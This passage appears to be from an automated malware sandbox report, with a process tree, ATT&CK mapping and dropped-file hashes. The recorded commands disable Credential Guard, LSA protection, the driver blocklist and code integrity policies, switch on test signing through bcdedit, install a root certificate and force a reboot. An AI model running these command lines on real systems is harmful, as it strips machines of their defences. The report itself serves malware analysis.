    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5596
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5416
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5584
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
    3⤵
    - Boot or Logon Autostart Execution: LSASS Driver
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2256
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4796
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2032
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
    3⤵
    - Modify Registry: Disable Windows Driver Blocklist
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1468
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5636
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2900
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240786031.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240786031.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3420
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c for %f in (C:\Windows\System32\CodeIntegrity\CiPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240786031
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c for %f in (C:\Windows\System32\CodeIntegrity\CiPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240786031
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3036
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c if exist C:\Windows\System32\CodeIntegrity\SIPolicy.p7b ren C:\Windows\System32\CodeIntegrity\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240786031
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c if exist C:\Windows\System32\CodeIntegrity\SIPolicy.p7b ren C:\Windows\System32\CodeIntegrity\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240786031
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3264
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\mountvol.exe X: /s
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Windows\system32\mountvol.exe
    C:\Windows\Sysnative\mountvol.exe X: /s
    3⤵
    PID:1800
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c for %f in (X:\EFI\Microsoft\Boot\CIPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240786031
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c for %f in (X:\EFI\Microsoft\Boot\CIPolicies\Active\*.cip) do ren "%f" %~nf.cip.bak.wdkt.240786031
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5572
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c if exist X:\EFI\Microsoft\Boot\SIPolicy.p7b ren X:\EFI\Microsoft\Boot\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240786031
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1148
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c if exist X:\EFI\Microsoft\Boot\SIPolicy.p7b ren X:\EFI\Microsoft\Boot\SIPolicy.p7b SIPolicy.p7b.bak.wdkt.240786031
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1792
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\mountvol.exe X: /d
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\mountvol.exe
    C:\Windows\Sysnative\mountvol.exe X: /d
    3⤵
    - Enumerates connected drives
    PID:2016
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\WdKtBackup /v LastRenameSuffix /t REG_SZ /d ".bak.wdkt.240786031" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:424
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\WdKtBackup /v LastRenameSuffix /t REG_SZ /d ".bak.wdkt.240786031" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2444
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4584
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5784
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set testsigning on
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4156
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240787984_6549.cer"
  2⤵
  - Installs a root certificate to the trusted certificate store
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240787984_6549.cer"
    3⤵
    - Installs a root certificate to the trusted certificate store
    PID:3040
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240787984_6549.cer"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4656
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240787984_6549.cer"
    3⤵
    - Manipulates Digital Signatures
    PID:2080
- C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
  "C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe" -apply
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1512
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2088
- - C:\Windows\system32\shutdown.exe
    C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5496

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39d3055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:3120

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

SignGuiPatcher.exe

Path C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
Size 27KB
SHA256 32fc89230f272a47c702b366f4cdba6c37a9bf4a323ab69d8b96effb9809d416
MD5 bf3bab59d74bf6244dbdde2eab294801
SHA1 59419491b377aa43a8ee7333d1599ff9fb6ae104
SHA512 ae9718a73d92778b06988afc95f6ff8a9b002bed543f4da8ab7857c31e520401bd346a31e993155ea808fc8a7d7e4469cabd2285f107924b80205da92df60061
SSDEEP 384:DPysd9jpAZsQ+lNyvo3ugNoovS5uZYreLe+GzXcN7bA4//cuJXp1:DBjpC+QovSKE2Y4/keXb
TLSH
T1ECC20A5AA2F405DAF532A171D9B67326F036F518183147DF83620A5E0F72AC0BB35BAD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bl_240775750_28838.bat

Path C:\Users\Admin\AppData\Local\Temp\_bl_240775750_28838.bat
Size 173B
SHA256 cc527cc8145cadf6d37c0d85d6aef9f2c6822cf7e4ca84f50d78a95f1a1fb30a
MD5 518fd8bd5f380f1a3467c4fe3c056072
SHA1 3f8f5a1dadbfd185afd306908cbc3cdc9a425a1a
SHA512 14a0c379073e8e36dadacfe100be0ba0a060dbc842e070b6d5da332568435636933fb8da49378feb64745e2d50c1cb3378ffa2a951d31d2c20c59dff25f3aade
TLSH
T1D8C0224226958DED4004A02AA063804420A349872AC439A0025144A868A0886AE0B107
MD5 SHA1 SHA512 TLSH

Submit Download

_bl_240775750_28838.txt

Path C:\Users\Admin\AppData\Local\Temp\_bl_240775750_28838.txt
Size 5B
SHA256 b6626dde5feadbb3302a67528088e8f7cf8536de683f152639d3727ac4b24b3a
MD5 a77299bfbf6fc09712da498c168f9e71
SHA1 347ea3c48644143aaf8b8fce49bc8ba817cf953f
SHA512 d803f52c41a271efc811861ae0848a7a892455fb97997cc97503bcedd7ffbb94858e43978cfca0bebf6f0003825079237d465e67e4d905343573913bff22e487
MD5 SHA1 SHA512

Submit Download

_vv_240786031.bat

Path C:\Users\Admin\AppData\Local\Temp\_vv_240786031.bat
Size 71B
SHA256 36b03d11e1bd6c66fd77f0b4e6fdf4e5719d608a632f80961775b3587f62459c
MD5 05f6a0f2a5e0d5e3dfb3affcc7f430ec
SHA1 38743597c2bb61dab9301870bc72c58db0e641b9
SHA512 9d54a6d32adcd1d89a8aa1eda6e822e64aff4e0daaefcc42bd03006768784e32fc082fa43e98b399a92da424449a5bf1d4072c781d42477f39cbda2448e41f91
TLSH
T138A02203808A8BACE008003383F3C28CE0E3088B3BC0AB800302C008C88080CFF8A30B
MD5 SHA1 SHA512 TLSH

Submit Download

_vv_240786031.txt

Path C:\Users\Admin\AppData\Local\Temp\_vv_240786031.txt
Size 47B
SHA256 3827cbd05a50743b57acddb70bbeb3c2118eb07e528c8d6e9449ae18553e41fa
MD5 99746df3450c18c32b6e617f2d27f934
SHA1 4bde2cc83326ad3386b0dfaea363304a52da5dd0
SHA512 048367c362a8e45154fca1da91c9561fd04b04d96f02b2bff3ed45385350fa591d3913dfd771cec4e277ea071267cf95c612382fea94decfa3803b5eca275307
MD5 SHA1 SHA512

Submit Download

_wdkt_240787984_6549.cer

Path C:\Users\Admin\AppData\Local\Temp\_wdkt_240787984_6549.cer
Size 792B
SHA256 4ba1a74c97dbbaba1d4b4119d41f5c764791cd568a3c7f6f20a98cdae36fddb6
MD5 f86961a3e60a0c917b1eee487922e374
SHA1 43dbb0d8926febc69b7663673161bc063ed10e04
SHA512 bcc3ea7c9cee6ce3322ebe6b443760a180bf28ed6c3ee1622f94714622d78d72de98b684e1f2f7b50993940ebc1a9cae797672c09b80faeda9d8c256cf413a4f
TLSH
T11F01757D256FB2855D5705505389E70E6872EAC445D14E3ADA3F4054C4C7981EF2F216
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5288-14-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/5288-7-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/5288-17-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/5288-18-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/5288-19-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/5288-20-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/5288-0-0x0000000003550000-0x000000000357B000-memory.dmp

Download

memory/5288-13-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/5288-25-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/5288-1-0x000000000040D000-0x000000000040E000-memory.dmp

Download

memory/5288-33-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/5288-6-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/5288-37-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

memory/5288-39-0x0000000000400000-0x00000000007E8000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads